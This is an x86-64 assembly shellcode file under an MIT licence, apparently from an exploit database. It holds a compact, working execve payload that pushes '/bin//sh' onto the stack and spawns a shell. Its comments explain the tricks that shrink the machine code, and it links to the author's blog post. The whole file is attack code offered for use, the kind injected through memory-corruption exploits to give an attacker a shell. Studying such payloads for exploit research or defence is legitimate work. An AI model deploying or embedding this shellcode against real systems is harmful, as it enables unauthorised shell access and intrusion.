;The MIT License (MIT) ;Copyright (c) 2017 Robert L. Taylor ;Permission is hereby granted, free of charge, to any person obtaining a ;copy of this software and associated documentation files (the “Software”), ;to deal in the Software without restriction, including without limitation ;the rights to use, copy, modify, merge, publish, distribute, sublicense, ;and/or sell copies of the Software, and to permit persons to whom the ;Software is furnished to do so, subject to the following conditions: ;The above copyright notice and this permission notice shall be included ;in all copies or substantial portions of the Software. ;The Software is provided “as is”, without warranty of any kind, express or ;implied, including but not limited to the warranties of merchantability, ;fitness for a particular purpose and noninfringement. In no event shall the ;authors or copyright holders be liable for any claim, damages or other ;liability, whether in an action of contract, tort or otherwise, arising ;from, out of or in connection with the software or the use or other ;dealings in the Software. ; ; For a detailed explanation of this shellcode see my blog post: ; http://a41l4.blogspot.ca/2017/01/execvestack1434.html global _start section .text _start: ; zeros RAX, RDX and RSI with only 4 bytes of machine code xor esi,esi mul esi ; null terminator for the following string push rax ; push /bin//sh in reverse mov rbx,'/bin//sh' push rbx ; store /bin//sh address in RDI, points at string push rsp pop rdi ; Call the Execve syscall mov al, 59 syscall # Iranian Exploit DataBase = http://IeDb.Ir [2017-01-30]